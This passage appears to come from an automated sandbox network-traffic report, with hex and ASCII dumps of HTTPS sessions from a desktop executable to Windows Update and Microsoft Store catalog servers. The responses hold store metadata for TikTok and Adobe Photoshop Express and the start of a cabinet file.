5c 6e 45 61 73 69 6c 79 20 65 64 69 74 20 79 6f 75 72 20 76 69 64 65 6f 73 20 77 69 74 68 20 6d 69 6c 6c 69 6f
Data Ascii: a global community of creators\r\nMillions of creators are on TikTok showcasing their incredible skills and everyday life. Let yourself be inspired.\r\n\r\n Add your favorite music or sound to your videos for free\r\nEasily edit your videos with millio
2022-04-08 08:03:36 UTC8967INData Raw: 72 5c 6e 5c 72 5c 6e e2 96 a0 20 57 61 74 63 68 20 65 6e 64 6c 65 73 73 20 61 6d 6f 75 6e 74 20 6f 66 20 76 69 64 65 6f 73 20 63 75 73 74 6f 6d 69 7a 65 64 20 73 70 65 63 69 66 69 63 61 6c 6c 79 20 66 6f 72 20 79 6f 75 5c 72 5c 6e 41 20 70 65 72 73 6f 6e 61 6c 69 7a 65 64 20 76 69 64 65 6f 20 66 65 65 64 20 62 61 73 65 64 20 6f 6e 20 77 68 61 74 20 79 6f 75 20 77 61 74 63 68 2c 20 6c 69 6b 65 2c 20 61 6e 64 20 73 68 61 72 65 2e 20 54 69 6b 54 6f 6b 20 6f 66 66 65 72 73 20 79 6f 75 20 72 65 61 6c 2c 20 69 6e 74 65 72 65 73 74 69 6e 67 2c 20 61 6e 64 20 66 75 6e 20 76 69 64 65 6f 73 20 74 68 61 74 20 77 69 6c 6c 20 6d 61 6b 65 20 79 6f 75 72 20 64 61 79 2e 5c 72 5c 6e 20 5c 72 5c 6e e2 96 a0 20 45 78 70 6c 6f 72 65 20 76 69 64 65 6f 73 2c 20 6a 75 73 74 20
Data Ascii: r\n\r\n Watch endless amount of videos customized specifically for you\r\nA personalized video feed based on what you watch, like, and share. TikTok offers you real, interesting, and fun videos that will make your day.\r\n \r\n Explore videos, just
2022-04-08 08:03:36 UTC8971INData Raw: 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 66 61 6c 73 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 33 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 39 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 38 31 2c 5c 22 73 79 73
Data Ascii: {\"category.first\":\"app\",\"category.second\":\"Entertainment\",\"optOut.backupRestore\":false,\"optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":3,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":9,\"systemId\":3},{\"level\":81,\"sys
2022-04-08 08:03:36 UTC8975INData Raw: 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 39 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 30 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 48 32 47 50 48 34 4a 5a 53 34 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 39 63 34 33 66 35 31 38 2d 65 62 64 31 2d 34 62 62 61 2d 61 35 62 38 2d 35 33 30 63 34 38 34 30 61 65 66 66 22 2c
Data Ascii: 2},{\"level\":29,\"systemId\":9},{\"level\":78,\"systemId\":16},{\"level\":70,\"systemId\":15},{\"level\":67,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9NH2GPH4JZS4","WuBundleId":"9c43f518-ebd1-4bba-a5b8-530c4840aeff",
2022-04-08 08:03:36 UTC8979INData Raw: 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 54 65 61 6d 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 48 6f 6c 6f 67 72 61 70 68 69 63 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 43 6f 72 65 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 38 38 32 38 30 38 30 22 7d 5d 7d 2c
Data Ascii: PlatformName":"Windows.Team"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Holographic"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Core"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.8828080"}]},
2022-04-08 08:03:36 UTC8983INData Raw: 65 76 65 72 79 20 67 65 6e 72 65 2c 20 69 6e 63 6c 75 64 69 6e 67 20 48 69 70 20 48 6f 70 2c 20 45 64 6d 2c 20 50 6f 70 2c 20 52 6f 63 6b 2c 20 52 61 70 2c 20 61 6e 64 20 43 6f 75 6e 74 72 79 2c 20 61 6e 64 20 74 68 65 20 6d 6f 73 74 20 76 69 72 61 6c 20 6f 72 69 67 69 6e 61 6c 20 73 6f 75 6e 64 73 2e 5c 72 5c 6e 5c 72 5c 6e e2 96 a0 20 45 78 70 72 65 73 73 20 79 6f 75 72 73 65 6c 66 20 77 69 74 68 20 63 72 65 61 74 69 76 65 20 65 66 66 65 63 74 73 5c 72 5c 6e 55 6e 6c 6f 63 6b 20 74 6f 6e 73 20 6f 66 20 66 69 6c 74 65 72 73 2c 20 65 66 66 65 63 74 73 2c 20 61 6e 64 20 41 52 20 6f 62 6a 65 63 74 73 20 74 6f 20 74 61 6b 65 20 79 6f 75 72 20 76 69 64 65 6f 73 20 74 6f 20 74 68 65 20 6e 65 78 74 20 6c 65 76 65 6c 2e 5c 72 5c 6e 5c 72 5c 6e e2 96 a0 20 45 64
Data Ascii: every genre, including Hip Hop, Edm, Pop, Rock, Rap, and Country, and the most viral original sounds.\r\n\r\n Express yourself with creative effects\r\nUnlock tons of filters, effects, and AR objects to take your videos to the next level.\r\n\r\n Ed
2022-04-08 08:03:36 UTC8987INData Raw: 42 79 74 65 64 61 6e 63 65 50 74 65 2e 4c 74 64 2e 54 69 6b 54 6f 6b 5f 36 79 63 63 6e 64 6e 36 30 36 34 73 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 42 79 74 65 64 61 6e 63 65 50 74 65 2e 4c 74 64 2e 54 69 6b 54 6f 6b 5f 31 2e 30 2e 33 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 36 79 63 63 6e 64 6e 36 30 36 34 73 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 36 32 61 66 39 30 66 35 2d 38 63 66 61 2d 36 63 38 30 2d 63 31 35 38 2d 30 61 64 66 62 37 36 63 33 38 34 39 2d 4e 65 75 74 72 61 6c 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 30 31 30 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b
Data Ascii: BytedancePte.Ltd.TikTok_6yccndn6064se","MainPackageFamilyNameForDlc":null,"PackageFullName":"BytedancePte.Ltd.TikTok_1.0.3.70_neutral_~_6yccndn6064se","PackageId":"62af90f5-8cfa-6c80-c158-0adfb76c3849-Neutral","PackageRank":30010,"PlatformDependencies":[{
2022-04-08 08:03:36 UTC8991INData Raw: 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 32 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 44 65 73 6b 74 6f 70 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 42 79 74 65 64 61 6e 63 65 50 74 65 2e 4c 74 64 2e 54 69 6b 54 6f 6b 5f 31 2e 30 2e 34 2e 30 5f 78 38 36 5f 5f 36 79 63 63
Data Ascii: "PlatformDependencies":[{"MaxTested":2814750970478592,"MinVersion":2814750835277824,"PlatformName":"Windows.Desktop"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundledPackages\":[\"BytedancePte.Ltd.TikTok_1.0.4.0_x86__6ycc
2022-04-08 08:03:36 UTC8995INData Raw: 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 50 72 69 63 65 22 3a 7b 22 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 49 73 50 49 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 22 4c 69 73 74 50 72 69 63 65 22 3a 30 2e 30 2c 22 4d 53 52 50 22 3a 30 2e 30 2c 22 54 61 78 54 79 70 65 22 3a 22 22 2c 22 57 68 6f 6c 65 73 61 6c 65 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 22 7d 7d 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 7b 7d 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 44 69 73 70 6c 61 79 52 61 6e 6b 22 3a 32 2c 22 52 65 6d 65 64 69 61 74 69 6f 6e 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 7d 5d 7d 5d 7d 5d 2c 22
Data Ascii: ],"OrderManagementData":{"GrantedEntitlementKeys":[],"Price":{"CurrencyCode":"USD","IsPIRequired":false,"ListPrice":0.0,"MSRP":0.0,"TaxType":"","WholesaleCurrencyCode":""}},"Properties":{},"SkuId":"0011","DisplayRank":2,"RemediationRequired":false}]}]}],"
2022-04-08 08:03:36 UTC8995INData Raw: 30 0d 0a 0d 0a
Data Ascii: 0


Session IDSource IPSource PortDestination IPDestination PortProcess
66192.168.2.35004552.152.110.14443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:37 UTC8995OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:37 UTC8995INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: 2f29306b-1ab3-4da9-8087-f01a026244d0
MS-RequestId: 0c161728-6f6e-4fc2-9d4c-a468ef107fa1
MS-CV: HobnU17tkUip/rJn.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:36 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:37 UTC8996INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
2022-04-08 08:03:37 UTC9011INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
67192.168.2.35004652.242.101.226443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:37 UTC9026OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:37 UTC9026INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: c0b85a32-7e2a-4318-a93f-feb7bee0b006
MS-RequestId: f9c1cd8f-b1b3-4f3f-b522-36e7b11ec468
MS-CV: vckRcQT5DUCutb6p.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:37 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:37 UTC9027INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
2022-04-08 08:03:37 UTC9042INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
68192.168.2.35004720.54.110.249443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:38 UTC9057OUTGET /v7.0/products/lookup?alternateId=PackageFamilyName&value=AdobeSystemsIncorporated.AdobePhotoshopExpress_ynb6jyjzte8ga&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: n1sA5W1j10WVDp3K.0.2.4
Host: displaycatalog.mp.microsoft.com
2022-04-08 08:03:38 UTC9057INHTTP/1.1 200 OK
Connection: close
Date: Fri, 08 Apr 2022 08:03:38 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 942f430a-3b28-4f89-8f6d-88f49ba14651
MS-RequestId: c5a2dca1-a734-4255-8f74-5e60d742588a
MS-CV: n1sA5W1j10WVDp3K.0.2.4.422988222.0.1.422988222.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 469858-979zz
Region: neu
Node: aks-systempool-37630073-vmss00002m
MS-DocumentVersions: 9WZDNCRFJ27N|4206
2022-04-08 08:03:38 UTC9058INData Raw: 31 31 62 61 66 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 57 5a 44 4e 43 52 46 4a 32 37 4e 22 5d 2c 22 48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 33 2d 33 30 54 30 35 3a 34 38 3a 30 36 2e 36 32 36 31 30 39 33 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 30 35 35 35 35 30 33 36 35 31 36 38 33 36 32 37 35 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72
Data Ascii: 11baf{"BigIds":["9WZDNCRFJ27N"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-03-30T05:48:06.6261093Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3005555036516836275","EISListingIdentifier":null,"BackgroundColor":"transpar
2022-04-08 08:03:38 UTC9061INData Raw: 34 34 39 2e 39 30 37 30 39 63 65 33 2d 30 35 30 63 2d 34 63 65 66 2d 38 64 34 61 2d 39 65 66 32 31 33 62 38 39 65 66 32 2e 33 35 37 64 38 64 34 39 2d 66 63 61 62 2d 34 64 35 30 2d 39 66 34 39 2d 32 65 37 32 30 35 33 64 39 61 65 33 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 32 32 30 30 33 36 33 33 35 38 33 31 32 36 36 37 32 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 39 31 35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 38 38 2c 22 49 6d
Data Ascii: 449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.357d8d49-fcab-4d50-9f49-2e72053d9ae3","Width":66},{"FileId":"3022003633583126672","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":1915,"ForegroundColor":"","Height":88,"Im
2022-04-08 08:03:38 UTC9065INData Raw: 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 37 37 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 52 52 45 38 38 6e 61 62 59 58 36 6b 76 74 64 72 4d 6b 63 42 32 6b 50 48 69 6d 39 67 55 2f 70 45 61 56 6e 65 65 42 4a 59 6b 75 55 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d
Data Ascii: fier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":3771,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash":"RRE88nabYX6kvtdrMkcB2kPHim9gU/pEaVneeBJYkuU=","Uri":"//store-images.s-
2022-04-08 08:03:38 UTC9069INData Raw: 34 34 39 2e 66 66 35 39 32 37 39 30 2d 35 34 39 36 2d 34 36 32 65 2d 62 38 36 62 2d 34 63 38 61 32 65 33 63 63 32 62 32 2e 65 32 34 39 62 37 64 62 2d 38 35 34 35 2d 34 33 61 30 2d 61 37 34 64 2d 63 33 64 31 65 64 32 30 34 34 64 61 22 2c 22 57 69 64 74 68 22 3a 34 31 34 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 31 31 35 32 39 32 31 35 30 34 36 30 37 31 31 38 33 37 36 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 37 31 38 30 37 38 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 31 32 38
Data Ascii: 449.ff592790-5496-462e-b86b-4c8a2e3cc2b2.e249b7db-8545-43a0-a74d-c3d1ed2044da","Width":414},{"FileId":"1152921504607118376","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":718078,"ForegroundColor":"","Height":128
2022-04-08 08:03:38 UTC9073INData Raw: 35 64 2d 39 66 63 62 2d 30 38 36 65 33 66 38 34 62 64 32 38 22 2c 22 57 69 64 74 68 22 3a 32 34 30 30 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 31 31 35 32 39 32 31 35 30 34 37 34 33 31 38 31 39 38 31 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 42 6f 72 64 65 72 73 20 2d 20 43 6f 6d 70 6c 65 74 65 20 74 68 65 20 6c 6f 6f 6b 20 62 79 20 61 64 64 69 6e 67 20 63 6f 6f 6c 20 62 6f 72 64 65 72 73 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 37 39 37 30 38 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 31 30 38 30 2c 22 49 6d
Data Ascii: 5d-9fcb-086e3f84bd28","Width":2400},{"FileId":"1152921504743181981","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"Borders - Complete the look by adding cool borders","FileSizeInBytes":1797081,"ForegroundColor":"","Height":1080,"Im
